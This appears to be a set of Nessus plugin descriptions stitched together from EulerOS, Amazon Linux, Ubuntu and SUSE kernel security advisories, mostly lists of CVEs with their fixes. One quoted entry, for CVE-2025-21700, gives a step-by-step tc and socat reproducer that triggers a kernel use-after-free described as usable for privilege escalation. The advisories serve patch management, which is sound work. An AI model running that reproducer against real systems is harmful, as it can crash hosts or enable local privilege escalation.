According to the versions of the kernel packages installed, the EulerOS installation on the remote host is affected by the following vulnerabilities :

    cifs: Fix UAF in cifs_demultiplex_thread().(CVE-2023-52572)

    xsk: fix OOB map writes when deleting elements(CVE-2024-56614)

    net: defer final 'struct net' free in netns dismantle(CVE-2024-56658)

    af_packet: avoid erroring out after sock_init_data() in packet_create().(CVE-2024-56606)

    quota: flush quota_release_work upon quota writeback(CVE-2024-56780)

    mm: hugetlb: independent PMD page table shared count(CVE-2024-57883)

    selinux: ignore unknown extended permissions(CVE-2024-57931)

    netfilter: conntrack: clamp maximum hashtable size to INT_MAX(CVE-2025-21648)

    net: sched: Disallow replacing of child qdisc from one parent to another(CVE-2025-21700)

    net: sched: Disallow replacing of child qdisc from one parent to another(CVE-2025-21702)

    ubi: Fix race condition between ctrl_cdev_ioctl and ubi_cdev_ioctl(CVE-2021-47634)

    crypto: qat - add param check for DH(CVE-2022-49564)

    nfsd: clear acl_access/acl_default after releasing them(CVE-2025-21796)

    media: uvcvideo: Fix double free in error path(CVE-2024-57980)

    ata: libata-core: fix NULL pointer deref in ata_host_alloc_pinfo().(CVE-2022-49731)

    dm raid: fix accesses beyond end of raid member array(CVE-2022-49674)

    scsi: lpfc: Fix null pointer dereference after failing to issue FLOGI and PLOGI(CVE-2022-49535)

    md/bitmap: don't set sb values if can't pass sanity check(CVE-2022-49526)

    drm/virtio: fix NULL pointer dereference in virtio_gpu_conn_get_modes(CVE-2022-49532)

    ext4: fix race condition between ext4_write and ext4_convert_inline_data(CVE-2022-49414)

    media: pvrusb2: fix array-index-out-of-bounds in pvr2_i2c_core_init(CVE-2022-49478)

    dlm: fix plock invalid read(CVE-2022-49407)

    NFSD: prevent underflow in nfssvc_decode_writeargs().(CVE-2022-49280)

    NFSv4: Don't hold the layoutget locks across multiple RPC calls(CVE-2022-49316)

    firmware: dmi-sysfs: Fix memory leak in dmi_sysfs_register_handle(CVE-2022-49370)

    ARM: hisi: Add missing of_node_put after of_find_compatible_node(CVE-2022-49447)

    scsi: target: tcmu: Fix possible page UAF(CVE-2022-49053)

    drm/plane: Move range check for format_count earlier(CVE-2021-47659)

    tty: fix deadlock caused by calling printk() under tty_port-lock(CVE-2022-49441)

    bpf, arm64: Clear prog-jited_len along prog-jited(CVE-2022-49341)

    RDMA/hfi1: Fix potential integer multiplication overflow errors(CVE-2022-49404)

    scsi: libfc: Fix use after free in fc_exch_abts_resp().(CVE-2022-49114)

    scsi: qla2xxx: Suppress a kernel complaint in qla_create_qpair().(CVE-2022-49155)

    mm: fix unexpected zeroed page mapping with zram swap(CVE-2022-49052)

    net: tipc: fix possible refcount leak in tipc_sk_create()(CVE-2022-49620)

    RDMA/hfi1: Prevent use of lock before it is initialized(CVE-2022-49433)

    memcg: fix soft lockup in the OOM process(CVE-2024-57977)

    block: don't delete queue kobject before its children(CVE-2022-49259)

    exec: Force single empty string when argv is empty(CVE-2022-49264)

    um: Fix out-of-bounds read in LDT setup(CVE-2022-49395)

    cgroup: Use separate src/dst nodes when preloading css_sets for migration(CVE-2022-49647)

    driver: base: fix UAF when driver_attach failed(CVE-2022-49385)

    nbd: don't allow reconnect after disconnect(CVE-2025-21731)

    vrf: use RCU protection in l3mdev_l3_out().(CVE-2025-21791)

    net_sched: sch_sfq: don't allow 1 packet limit(CVE-2024-57996)

    net: let net.core.dev_weight always be non-zero(CVE-2025-21806)

    tty: synclink_gt: Fix null-pointer-dereference in slgt_clean().(CVE-2022-49307)

    virtio_net: fix xdp_rxq_info bug after suspend/resume(CVE-2022-49687)

    be2net: Fix buffer overflow in be_get_module_eeprom(CVE-2022-49581)

    ubi: ubi_create_volume: Fix use-after-free when volume creation failed(CVE-2022-49388)

    ipmr: do not call mr_mfc_uses_dev() for unres entries(CVE-2025-21719)

    ALSA: jack: Access input_dev under mutex(CVE-2022-49538)

    geneve: Fix use-after-free in geneve_find_dev().(CVE-2025-21858)

    rxrpc: Fix listen() setting the bar too high for the prealloc rings(CVE-2022-49450)

Tenable has extracted the preceding description block directly from the EulerOS kernel security advisory.

Note that Nessus has not tested for these issues but has instead relied only on the application's self-reported version number.

It is, therefore, affected by multiple vulnerabilities as referenced in the ALAS2023-2025-915 advisory.

    In the Linux kernel, the following vulnerability has been resolved:

    Squashfs: check the inode number is not the invalid value of zero (CVE-2024-26982)

    In the Linux kernel, the following vulnerability has been resolved:

    block, bfq: fix bfqq uaf in bfq_limit_depth() (CVE-2024-53166)

    In the Linux kernel, the following vulnerability has been resolved:

    cachefiles: Fix NULL pointer dereference in object->file (CVE-2024-56549)

    In the Linux kernel, the following vulnerability has been resolved:

    pps: Fix a use-after-free (CVE-2024-57979)

    In the Linux kernel, the following vulnerability has been resolved:

    net: sched: Disallow replacing of child qdisc from one parent to another (CVE-2025-21700)

    In the Linux kernel, the following vulnerability has been resolved:

    net: avoid race between device unregistration and ethnl ops (CVE-2025-21701)

    In the Linux kernel, the following vulnerability has been resolved:

    padata: avoid UAF for reorder_work (CVE-2025-21726)

    In the Linux kernel, the following vulnerability has been resolved:

    padata: fix UAF in padata_reorder (CVE-2025-21727)

    In the Linux kernel, the following vulnerability has been resolved:

    nbd: don't allow reconnect after disconnect (CVE-2025-21731)

    In the Linux kernel, the following vulnerability has been resolved:

    btrfs: fix use-after-free when attempting to join an aborted transaction (CVE-2025-21753)

    In the Linux kernel, the following vulnerability has been resolved:

    vsock: Keep the binding until socket destruction (CVE-2025-21756)

    In the Linux kernel, the following vulnerability has been resolved:

    ipv6: mcast: add RCU protection to mld_newpack() (CVE-2025-21758)

    In the Linux kernel, the following vulnerability has been resolved:

    ndisc: extend RCU protection in ndisc_send_skb() (CVE-2025-21760)

    In the Linux kernel, the following vulnerability has been resolved:

    openvswitch: use RCU protection in ovs_vport_cmd_fill_info() (CVE-2025-21761)

    In the Linux kernel, the following vulnerability has been resolved:

    arp: use RCU protection in arp_xmit() (CVE-2025-21762)

    In the Linux kernel, the following vulnerability has been resolved:

    neighbour: use RCU protection in __neigh_notify() (CVE-2025-21763)

    In the Linux kernel, the following vulnerability has been resolved:

    ndisc: use RCU protection in ndisc_alloc_skb() (CVE-2025-21764)

    In the Linux kernel, the following vulnerability has been resolved:

    vrf: use RCU protection in l3mdev_l3_out() (CVE-2025-21791)

    In the Linux kernel, the following vulnerability has been resolved:

    nfsd: clear acl_access/acl_default after releasing them (CVE-2025-21796)

    In the Linux kernel, the following vulnerability has been resolved:

    x86/amd_nb: Use rdmsr_safe() in amd_get_mmconfig_range() (CVE-2025-21913)

    In the Linux kernel, the following vulnerability has been resolved:

    sched/fair: Fix potential memory corruption in child_cfs_rq_on_list (CVE-2025-21919)

    In the Linux kernel, the following vulnerability has been resolved:

    vlan: enforce underlying device type (CVE-2025-21920)

    In the Linux kernel, the following vulnerability has been resolved:

    net: gso: fix ownership in __udp_gso_segment (CVE-2025-21926)

    In the Linux kernel, the following vulnerability has been resolved:

    HID: intel-ish-hid: Fix use-after-free issue in ishtp_hid_remove() (CVE-2025-21928)

    In the Linux kernel, the following vulnerability has been resolved:

    mptcp: fix 'scheduling while atomic' in mptcp_pm_nl_append_new_local_addr (CVE-2025-21938)

    In the Linux kernel, the following vulnerability has been resolved:

    HID: appleir: Fix potential NULL dereference at raw event handle (CVE-2025-21948)

Tenable has extracted the preceding description block directly from the tested product security advisory.

Note that Nessus has not tested for these issues but has instead relied only on the application's self-reported version number.

The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available.

  - net: sched: Disallow replacing of child qdisc from one parent to another Lion Ackermann was able to create     a UAF which can be abused for privilege escalation with the following script Step 1. create root qdisc tc     qdisc add dev lo root handle 1:0 drr step2. a class for packet aggregation do demonstrate uaf tc class add     dev lo classid 1:1 drr step3. a class for nesting tc class add dev lo classid 1:2 drr step4. a class to     graft qdisc to tc class add dev lo classid 1:3 drr step5. tc qdisc add dev lo parent 1:1 handle 2:0 plug     limit 1024 step6. tc qdisc add dev lo parent 1:2 handle 3:0 drr step7. tc class add dev lo classid 3:1 drr     step 8. tc qdisc add dev lo parent 3:1 handle 4:0 pfifo step 9. Display the class/qdisc layout tc class ls     dev lo class drr 1:1 root leaf 2: quantum 64Kb class drr 1:2 root leaf 3: quantum 64Kb class drr 3:1 root     leaf 4: quantum 64Kb tc qdisc ls qdisc drr 1: dev lo root refcnt 2 qdisc plug 2: dev lo parent 1:1 qdisc     pfifo 4: dev lo parent 3:1 limit 1000p qdisc drr 3: dev lo parent 1:2 step10. trigger the bug <===     prevented by this patch tc qdisc replace dev lo parent 1:3 handle 4:0 step 11. Redisplay again the     qdiscs/classes tc class ls dev lo class drr 1:1 root leaf 2: quantum 64Kb class drr 1:2 root leaf 3:
    quantum 64Kb class drr 1:3 root leaf 4: quantum 64Kb class drr 3:1 root leaf 4: quantum 64Kb tc qdisc ls     qdisc drr 1: dev lo root refcnt 2 qdisc plug 2: dev lo parent 1:1 qdisc pfifo 4: dev lo parent 3:1 refcnt     2 limit 1000p qdisc drr 3: dev lo parent 1:2 Observe that a) parent for 4:0 does not change despite the     replace request. There can only be one parent. b) refcount has gone up by two for 4:0 and c) both class     1:3 and 3:1 are pointing to it. Step 12. send one packet to plug echo  | socat -u STDIN     UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10001)) step13. send one packet to the grafted fifo echo  |     socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10003)) step14. lets trigger the uaf tc class     delete dev lo classid 1:3 tc class delete dev lo classid 1:1 The semantics of replace is for a del/add
    _on the same node_ and not a delete from one node(3:1) and add to another node (1:3) as in step10. While     we could fix with a more complex approach there could be consequences to expectations so the patch takes     the preventive approach of disallow such config. Joint work with Lion Ackermann <nnamrec@gmail.com>     (CVE-2025-21700)

Note that Nessus relies on the presence of the package as reported by the vendor.

The remote Ubuntu 24.04 LTS host has a package installed that is affected by multiple vulnerabilities as referenced in the USN-7453-1 advisory.

    Several security issues were discovered in the Linux kernel. An attacker could possibly use these to     compromise the system. This update corrects flaws in the following subsystems:

    - ARM64 architecture;

    - MIPS architecture;

    - PowerPC architecture;

    - RISC-V architecture;

    - S390 architecture;

    - SuperH RISC architecture;

    - User-Mode Linux (UML);

    - x86 architecture;

    - Block layer subsystem;

    - Cryptographic API;

    - Compute Acceleration Framework;

    - ACPI drivers;

    - Drivers core;

    - RAM backed block device driver;

    - Compressed RAM block device driver;

    - TPM device driver;

    - Clock framework and drivers;

    - Data acquisition framework and drivers;

    - CPU frequency scaling framework;

    - Hardware crypto device drivers;

    - CXL (Compute Express Link) drivers;

    - EDAC drivers;

    - ARM SCMI message protocol;

    - ARM SCPI message protocol;

    - EFI core;

    - GPIO subsystem;

    - GPU drivers;

    - HID subsystem;

    - I3C subsystem;

    - IIO ADC drivers;

    - IIO subsystem;

    - InfiniBand drivers;

    - IOMMU subsystem;

    - LED subsystem;

    - Multiple devices driver;

    - Media drivers;

    - Multifunction device drivers;

    - MMC subsystem;

    - MTD block device drivers;

    - Network drivers;

    - Mellanox network drivers;

    - STMicroelectronics network drivers;

    - NVME drivers;

    - PCI subsystem;

    - PHY drivers;

    - Pin controllers subsystem;

    - x86 platform drivers;

    - i.MX PM domains;

    - Voltage and Current Regulator drivers;

    - StarFive reset controller drivers;

    - Real Time Clock drivers;

    - SCSI subsystem;

    - i.MX SoC drivers;

    - QCOM SoC drivers;

    - Xilinx SoC drivers;

    - SPI subsystem;

    - Media staging drivers;

    - TCM subsystem;

    - UFS subsystem;

    - DesignWare USB3 driver;

    - USB Dual Role (OTG-ready) Controller drivers;

    - USB Serial drivers;

    - USB Type-C support driver;

    - USB Type-C Port Controller Manager driver;

    - USB Type-C Connector System Software Interface driver;

    - vDPA drivers;

    - VFIO drivers;

    - Framebuffer layer;

    - Xen hypervisor drivers;

    - AFS file system;

    - BTRFS file system;

    - File systems infrastructure;

    - EROFS file system;

    - F2FS file system;

    - JFFS2 file system;

    - JFS file system;

    - Network file systems library;

    - Network file system (NFS) client;

    - Network file system (NFS) server daemon;

    - NILFS2 file system;

    - NTFS3 file system;

    - Overlay file system;

    - Proc file system;

    - Diskquota system;

    - SMB network file system;

    - UBI file system;

    - DRM display driver;

    - BPF subsystem;

    - StackDepot library;

    - Bluetooth subsystem;

    - IP tunnels definitions;

    - Netfilter;

    - Tracing infrastructure;

    - User-space API (UAPI);

    - Kernel init infrastructure;

    - io_uring subsystem;

    - IPC subsystem;

    - DMA mapping infrastructure;

    - Kernel fork() syscall;

    - KCSAN framework;

    - RCU subsystem;

    - Arbitrary resource management;

    - Scheduler infrastructure;

    - Signal handling mechanism;

    - Task handling mechanism;

    - Timer subsystem;

    - KUnit library;

    - Memory management;

    - 9P file system network protocol;

    - CAN network layer;

    - Networking core;

    - DCCP (Datagram Congestion Control Protocol);

    - Ethtool driver;

    - HSR network protocol;

    - IEEE802154.4 network protocol;

    - IPv4 networking;

    - IPv6 networking;

    - IUCV driver;

    - MAC80211 subsystem;

    - Multipath TCP;

    - Packet sockets;

    - RxRPC session sockets;

    - Network traffic control;

    - SCTP protocol;

    - SMC sockets;

    - Sun RPC protocol;

    - TIPC protocol;

    - VMware vSockets driver;

    - Wireless networking;

    - eXpress Data Path;

    - XFRM subsystem;

    - Integrity Measurement Architecture(IMA) framework;

    - Key management;

    - ALSA framework;

    - FireWire sound drivers;

    - HD-audio driver;

    - MediaTek ASoC drivers;

    - QCOM ASoC drivers;

    - SoC audio core drivers;

    - STMicroelectronics SoC drivers;

    - USB sound devices; (CVE-2024-53187, CVE-2024-50268, CVE-2024-53161, CVE-2024-56721, CVE-2024-53059,     CVE-2024-53217, CVE-2022-49034, CVE-2024-53061, CVE-2024-50284, CVE-2024-50167, CVE-2024-53221,     CVE-2024-56773, CVE-2024-53051, CVE-2024-50263, CVE-2024-56631, CVE-2024-53106, CVE-2024-50051,     CVE-2024-50164, CVE-2024-56533, CVE-2024-53218, CVE-2024-56678, CVE-2024-56692, CVE-2024-50155,     CVE-2025-21702, CVE-2024-53100, CVE-2024-50208, CVE-2024-56707, CVE-2024-56781, CVE-2024-48873,     CVE-2024-50159, CVE-2024-50138, CVE-2024-50291, CVE-2024-53091, CVE-2024-56708, CVE-2024-50142,     CVE-2024-50105, CVE-2024-50299, CVE-2024-50203, CVE-2024-53210, CVE-2024-56625, CVE-2024-53147,     CVE-2024-50226, CVE-2024-50294, CVE-2024-50128, CVE-2024-53060, CVE-2024-56776, CVE-2024-56586,     CVE-2024-56569, CVE-2024-53214, CVE-2024-53172, CVE-2024-48881, CVE-2024-53119, CVE-2024-50121,     CVE-2024-53195, CVE-2024-56703, CVE-2024-56572, CVE-2024-50225, CVE-2024-50133, CVE-2024-50280,     CVE-2024-53190, CVE-2024-56685, CVE-2024-53067, CVE-2024-56538, CVE-2024-53200, CVE-2024-56694,     CVE-2024-53173, CVE-2024-53118, CVE-2024-53047, CVE-2024-50103, CVE-2024-56638, CVE-2024-50257,     CVE-2024-53171, CVE-2024-57874, CVE-2024-56626, CVE-2024-56611, CVE-2024-56642, CVE-2024-56636,     CVE-2025-21756, CVE-2024-53188, CVE-2024-56633, CVE-2024-53181, CVE-2024-50218, CVE-2024-56771,     CVE-2024-56778, CVE-2024-56568, CVE-2024-56720, CVE-2024-50249, CVE-2024-53175, CVE-2024-53160,     CVE-2024-53093, CVE-2024-56754, CVE-2024-53084, CVE-2024-53215, CVE-2024-47794, CVE-2024-50287,     CVE-2024-49899, CVE-2024-56651, CVE-2024-53191, CVE-2024-56744, CVE-2024-50158, CVE-2024-56619,     CVE-2024-53162, CVE-2024-53208, CVE-2024-56729, CVE-2024-56545, CVE-2024-56605, CVE-2024-48876,     CVE-2024-50290, CVE-2024-53154, CVE-2024-56620, CVE-2025-21700, CVE-2024-53148, CVE-2024-50156,     CVE-2024-53138, CVE-2024-50269, CVE-2024-50141, CVE-2024-56551, CVE-2024-50221, CVE-2024-50288,     CVE-2024-56546, CVE-2024-50209, CVE-2024-53234, CVE-2024-50232, CVE-2024-53086, CVE-2024-53232,     CVE-2024-50112, CVE-2024-57838, CVE-2024-53220, CVE-2024-53121, CVE-2024-53142, CVE-2024-56610,     CVE-2024-57872, CVE-2024-50160, CVE-2024-50010, CVE-2024-56690, CVE-2024-53128, CVE-2024-56650,     CVE-2024-53158, CVE-2024-57850, CVE-2024-53088, CVE-2024-56629, CVE-2024-50239, CVE-2024-50145,     CVE-2024-56724, CVE-2024-56566, CVE-2024-50303, CVE-2024-53053, CVE-2024-56539, CVE-2024-50153,     CVE-2024-50242, CVE-2024-53055, CVE-2024-53127, CVE-2024-56751, CVE-2024-56588, CVE-2024-56691,     CVE-2024-53180, CVE-2024-53076, CVE-2024-53072, CVE-2024-53196, CVE-2024-56679, CVE-2024-53042,     CVE-2024-56777, CVE-2024-42122, CVE-2024-50244, CVE-2024-50169, CVE-2024-50205, CVE-2024-53110,     CVE-2024-53157, CVE-2024-50295, CVE-2024-53680, CVE-2024-56613, CVE-2024-53194, CVE-2024-56779,     CVE-2024-56597, CVE-2024-50130, CVE-2024-53083, CVE-2024-50246, CVE-2024-53131, CVE-2024-53107,     CVE-2024-56756, CVE-2024-56727, CVE-2024-50162, CVE-2024-50273, CVE-2024-56726, CVE-2024-50255,     CVE-2024-53185, CVE-2024-50137, CVE-2024-41932, CVE-2024-56787, CVE-2024-56765, CVE-2024-56601,     CVE-2024-56698, CVE-2024-56558, CVE-2024-57876, CVE-2024-56581, CVE-2024-53202, CVE-2024-50236,     CVE-2024-56681, CVE-2024-50297, CVE-2024-53203, CVE-2024-53081, CVE-2024-53155, CVE-2024-50275,     CVE-2024-56630, CVE-2024-50166, CVE-2024-57843, CVE-2024-56677, CVE-2024-53094, CVE-2024-53048,     CVE-2024-50125, CVE-2024-50216, CVE-2024-56774, CVE-2024-44955, CVE-2024-56748, CVE-2024-50223,     CVE-2024-53087, CVE-2024-56775, CVE-2024-50298, CVE-2024-56627, CVE-2024-50139, CVE-2024-53134,     CVE-2024-53224, CVE-2024-53150, CVE-2024-56704, CVE-2024-53198, CVE-2024-53111, CVE-2024-50251,     CVE-2024-53082, CVE-2024-56785, CVE-2024-56647, CVE-2024-50282, CVE-2024-53058, CVE-2024-56637,     CVE-2024-50283, CVE-2024-50135, CVE-2024-56622, CVE-2024-50301, CVE-2024-50147, CVE-2024-50252,     CVE-2024-56567, CVE-2024-50230, CVE-2024-53105, CVE-2024-56574, CVE-2024-56589, CVE-2024-56543,     CVE-2024-50267, CVE-2024-53163, CVE-2024-53123, CVE-2024-50248, CVE-2024-53219, CVE-2024-50238,     CVE-2024-50296, CVE-2024-56593, CVE-2024-56645, CVE-2024-50270, CVE-2024-56780, CVE-2024-56576,     CVE-2024-53114, CVE-2024-53089, CVE-2024-56644, CVE-2024-56739, CVE-2024-53184, CVE-2024-56700,     CVE-2024-56786, CVE-2024-43098, CVE-2024-50115, CVE-2024-53201, CVE-2024-50220, CVE-2024-53226,     CVE-2024-53222, CVE-2024-53133, CVE-2024-50222, CVE-2024-56640, CVE-2024-50206, CVE-2024-53229,     CVE-2024-41014, CVE-2024-50272, CVE-2024-56641, CVE-2024-53237, CVE-2024-50207, CVE-2024-53168,     CVE-2024-56592, CVE-2024-53090, CVE-2024-56782, CVE-2024-53043, CVE-2024-50289, CVE-2024-56687,     CVE-2024-56755, CVE-2024-50111, CVE-2024-57849, CVE-2024-53231, CVE-2024-56550, CVE-2024-50247,     CVE-2024-53085, CVE-2024-56745, CVE-2024-56600, CVE-2024-56596, CVE-2024-50150, CVE-2024-56623,     CVE-2024-53108, CVE-2024-56579, CVE-2024-50151, CVE-2024-56548, CVE-2024-56565, CVE-2024-50110,     CVE-2024-47141, CVE-2024-41935, CVE-2024-50274, CVE-2024-56603, CVE-2024-53197, CVE-2024-56688,     CVE-2024-56577, CVE-2024-53174, CVE-2024-56723, CVE-2024-56616, CVE-2024-56573, CVE-2024-53044,     CVE-2024-53109, CVE-2024-52332, CVE-2024-53079, CVE-2024-50131, CVE-2024-53068, CVE-2024-50163,     CVE-2024-56772, CVE-2024-56634, CVE-2024-53095, CVE-2024-50215, CVE-2024-50243, CVE-2024-50265,     CVE-2024-56540, CVE-2024-53045, CVE-2024-56562, CVE-2024-53135, CVE-2024-56689, CVE-2024-56570,     CVE-2024-53066, CVE-2024-53145, CVE-2024-56580, CVE-2024-53101, CVE-2024-53177, CVE-2024-53183,     CVE-2024-53115, CVE-2024-56722, CVE-2025-21993, CVE-2024-49569, CVE-2025-21831, CVE-2024-50279,     CVE-2024-53052, CVE-2024-53113, CVE-2024-50292, CVE-2024-50224, CVE-2024-50259, CVE-2024-56615,     CVE-2024-56649, CVE-2024-53169, CVE-2024-56635, CVE-2024-50261, CVE-2024-50172, CVE-2024-53228,     CVE-2024-53166, CVE-2024-50140, CVE-2024-50170, CVE-2024-56587, CVE-2024-56607, CVE-2024-56575,     CVE-2024-53099, CVE-2024-49906, CVE-2024-50234, CVE-2024-56531, CVE-2024-50127, CVE-2024-56608,     CVE-2024-56583, CVE-2024-56648, CVE-2024-48875, CVE-2024-50152, CVE-2024-53062, CVE-2024-53176,     CVE-2024-50250, CVE-2024-53233, CVE-2024-56578, CVE-2024-53112, CVE-2024-53146, CVE-2024-56590,     CVE-2024-56584, CVE-2024-50211, CVE-2024-50116, CVE-2024-50124, CVE-2024-50067, CVE-2024-53050,     CVE-2024-45828, CVE-2024-47809, CVE-2024-50276, CVE-2024-56557, CVE-2024-50304, CVE-2024-56742,     CVE-2024-50108, CVE-2024-53122, CVE-2024-56602, CVE-2024-50235, CVE-2024-50278, CVE-2024-56561,     CVE-2024-56632, CVE-2025-21701, CVE-2024-56752, CVE-2024-50262, CVE-2024-56621, CVE-2024-53129,     CVE-2024-50285, CVE-2024-56643, CVE-2024-53227, CVE-2024-50258, CVE-2024-53139, CVE-2024-53209,     CVE-2024-56701, CVE-2024-56594, CVE-2024-53223, CVE-2024-50136, CVE-2024-50256, CVE-2024-53178,     CVE-2024-53236, CVE-2024-56549, CVE-2024-56683, CVE-2024-53126, CVE-2024-53120, CVE-2024-53117,     CVE-2024-50104, CVE-2024-50146, CVE-2024-53239, CVE-2024-56599, CVE-2024-50210, CVE-2024-56609,     CVE-2024-50245, CVE-2024-56705, CVE-2024-56604, CVE-2024-50118, CVE-2024-56783, CVE-2024-50271,     CVE-2024-53151, CVE-2024-56728, CVE-2024-56746, CVE-2024-53213, CVE-2024-50231, CVE-2024-56532,     CVE-2024-53130, CVE-2024-50143, CVE-2024-50286, CVE-2024-53230, CVE-2024-53096, CVE-2024-50154,     CVE-2024-50237, CVE-2024-50240, CVE-2024-56725, CVE-2024-56693, CVE-2024-56606, CVE-2024-50126,     CVE-2024-56747, CVE-2024-50107, CVE-2024-50300, CVE-2024-47143, CVE-2024-53046, CVE-2024-50120)

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for these issues but has instead relied only on the application's self-reported version number.

The remote SUSE Linux SLES15 / SLES_SAP15 host has packages installed that are affected by multiple vulnerabilities as referenced in the SUSE-SU-2025:02537-1 advisory.

    The SUSE Linux Enterprise 15 SP4 kernel was updated to receive various security bugfixes.


    The following security bugs were fixed:

    - CVE-2021-47557: net/sched: sch_ets: do not peek at classes beyond 'nbands' (bsc#1207361 bsc#1225468).
    - CVE-2021-47595: net/sched: sch_ets: do not remove idle classes from the round-robin list (bsc#1207361     bsc#1226552).
    - CVE-2023-52924: netfilter: nf_tables: do not skip expired elements during walk (bsc#1236821).
    - CVE-2023-52925: netfilter: nf_tables: do not fail inserts if duplicate has expired (bsc#1236822).
    - CVE-2024-26808: netfilter: nft_chain_filter: handle NETDEV_UNREGISTER for inet/ingress basechain     (bsc#1222634).
    - CVE-2024-26924: scsi: lpfc: Release hbalock before calling lpfc_worker_wake_up() (bsc#1225820).
    - CVE-2024-27397: kabi: place tstamp needed for nftables set in a hole (bsc#1224095).
    - CVE-2024-36978: net: sched: sch_multiq: fix possible OOB write in multiq_tune() (bsc#1226514).
    - CVE-2024-46800: sch/netem: fix use after free in netem_dequeue (bsc#1230827).
    - CVE-2024-53057: net/sched: stop qdisc_tree_reduce_backlog on TC_H_ROOT (bsc#1233551).
    - CVE-2024-53125: bpf: sync_linked_regs() must preserve subreg_def (bsc#1234156).
    - CVE-2024-53141: netfilter: ipset: add missing range check in bitmap_ip_uadt (bsc#1234381).
    - CVE-2024-56770: sch/netem: fix use after free in netem_dequeue (bsc#1235637).
    - CVE-2024-57947: netfilter: nf_set_pipapo: fix initial map fill (bsc#1236333).
    - CVE-2025-21700: net: sched: Disallow replacing of child qdisc from one parent to another (bsc#1237159).
    - CVE-2025-21702: pfifo_tail_enqueue: Drop new packet when sch->limit == 0 (bsc#1237312).
    - CVE-2025-21703: netem: Update sch->q.qlen before qdisc_tree_reduce_backlog() (bsc#1237313).
    - CVE-2025-21756: vsock: Orphan socket after transport release (bsc#1238876).
    - CVE-2025-23141: KVM: x86: Acquire SRCU in KVM_GET_MP_STATE to protect guest memory accesses     (bsc#1242782).
    - CVE-2025-37752: net_sched: sch_sfq: move the limit validation (bsc#1242504).
    - CVE-2025-37797: net_sched: hfsc: Fix a UAF vulnerability in class handling (bsc#1242417).
    - CVE-2025-37823: net_sched: hfsc: Fix a potential UAF in hfsc_dequeue() too (bsc#1242924).
    - CVE-2025-37890: net_sched: hfsc: Fix a UAF vulnerability in class with netem as child qdisc     (bsc#1243330).
    - CVE-2025-37997: netfilter: ipset: fix region locking in hash types (bsc#1243832).
    - CVE-2025-38000: sch_hfsc: Fix qlen accounting bug when using peek in hfsc_enqueue() (bsc#1244277).
    - CVE-2025-38001: net_sched: hfsc: Address reentrant enqueue adding class to eltree twice (bsc#1244234).
    - CVE-2025-38014: dmaengine: idxd: Refactor remove call with idxd_cleanup() helper (bsc#1244732).
    - CVE-2025-38083: net_sched: prio: fix a race in prio_tune() (bsc#1245183).


Tenable has extracted the preceding description block directly from the SUSE security advisory.

Note that Nessus has not tested for these issues but has instead relied only on the application's self-reported version number.

The remote SUSE Linux SLES12 host has packages installed that are affected by multiple vulnerabilities as referenced in the SUSE-SU-2025:0834-1 advisory.

    The SUSE Linux Enterprise 12 SP5 kernel was updated to receive various security bugfixes.

    The following security bugs were fixed:

    - CVE-2021-22543: Fixed improper handling of VM_IO|VM_PFNMAP vmas in KVM (bsc#1186482).
    - CVE-2021-47634: ubi: Fix race condition between ctrl_cdev_ioctl and ubi_cdev_ioctl (bsc#1237758).
    - CVE-2021-47644: media: staging: media: zoran: move videodev alloc (bsc#1237766).
    - CVE-2022-48953: rtc: cmos: fix build on non-ACPI platforms (bsc#1231941).
    - CVE-2022-48975: gpiolib: fix memory leak in gpiochip_setup_dev() (bsc#1231885).
    - CVE-2022-49006: tracing: Free buffers when a used dynamic event is removed (bsc#1232163).
    - CVE-2022-49076: RDMA/hfi1: Fix use-after-free bug for mm struct (bsc#1237738).
    - CVE-2022-49080: mm/mempolicy: fix mpol_new leak in shared_policy_replace (bsc#1238033).
    - CVE-2022-49089: IB/rdmavt: add lock to call to rvt_error_qp to prevent a race condition (bsc#1238041).
    - CVE-2022-49124: x86/mce: Work around an erratum on fast string copy instructions (bsc#1238148).
    - CVE-2022-49134: mlxsw: spectrum: Guard against invalid local ports (bsc#1237982).
    - CVE-2022-49135: drm/amd/display: Fix memory leak (bsc#1238006).
    - CVE-2022-49151: can: mcba_usb: properly check endpoint type (bsc#1237778).
    - CVE-2022-49178: memstick/mspro_block: fix handling of read-only devices (bsc#1238107).
    - CVE-2022-49182: net: hns3: add vlan list lock to protect vlan list (bsc#1238260).
    - CVE-2022-49201: ibmvnic: fix race between xmit and reset (bsc#1238256).
    - CVE-2022-49247: media: stk1160: If start stream fails, return buffers with VB2_BUF_STATE_QUEUED     (bsc#1237783).
    - CVE-2022-49490: drm/msm/mdp5: Return error code in mdp5_pipe_release when deadlock is (bsc#1238275).
    - CVE-2022-49626: sfc: fix use after free when disabling sriov (bsc#1238270).
    - CVE-2022-49661: can: gs_usb: gs_usb_open/close(): fix memory leak (bsc#1237788).
    - CVE-2023-52572: Fixed UAF in cifs_demultiplex_thread() in cifs (bsc#1220946).
    - CVE-2023-52853: hid: cp2112: Fix duplicate workqueue initialization (bsc#1224988).
    - CVE-2023-52924: netfilter: nf_tables: do not skip expired elements during walk (bsc#1236821).
    - CVE-2023-6606: Fixed an out of bounds read in the SMB client when receiving a malformed length from a     server (bsc#1217947).
    - CVE-2024-23307: Fixed Integer Overflow or Wraparound vulnerability in x86 and ARM md, raid, raid5     modules (bsc#1219169).
    - CVE-2024-27397: netfilter: nf_tables: use timestamp to check for set element timeout (bsc#1224095).
    - CVE-2024-49963: mailbox: bcm2835: Fix timeout during suspend mode (bsc#1232147).
    - CVE-2024-49975: uprobes: fix kernel info leak via '[uprobes]' vma (bsc#1232104).
    - CVE-2024-50036: net: do not delay dst_entries_add() in dst_release() (bsc#1231912).
    - CVE-2024-50067: uprobe: avoid out-of-bounds memory access of fetching args (bsc#1232416).
    - CVE-2024-50251: netfilter: nft_payload: sanitize offset and length before calling skb_checksum()     (bsc#1233248).
    - CVE-2024-50304: ipv4: ip_tunnel: Fix suspicious RCU usage warning in ip_tunnel_find() (bsc#1233522).
    - CVE-2024-53217: nfsd: restore callback functionality for NFSv4.0 (bsc#1234999).
    - CVE-2024-56633: bpf, sockmap: Fix repeated calls to sock_put() when msg has more_data (bsc#1235485).
    - CVE-2024-56647: net: Fix icmp host relookup triggering ip_rt_bug (bsc#1235435).
    - CVE-2024-56658: net: defer final 'struct net' free in netns dismantle (bsc#1235441).
    - CVE-2024-56688: sunrpc: clear XPRT_SOCK_UPD_TIMEOUT when reset transport (bsc#1235538).
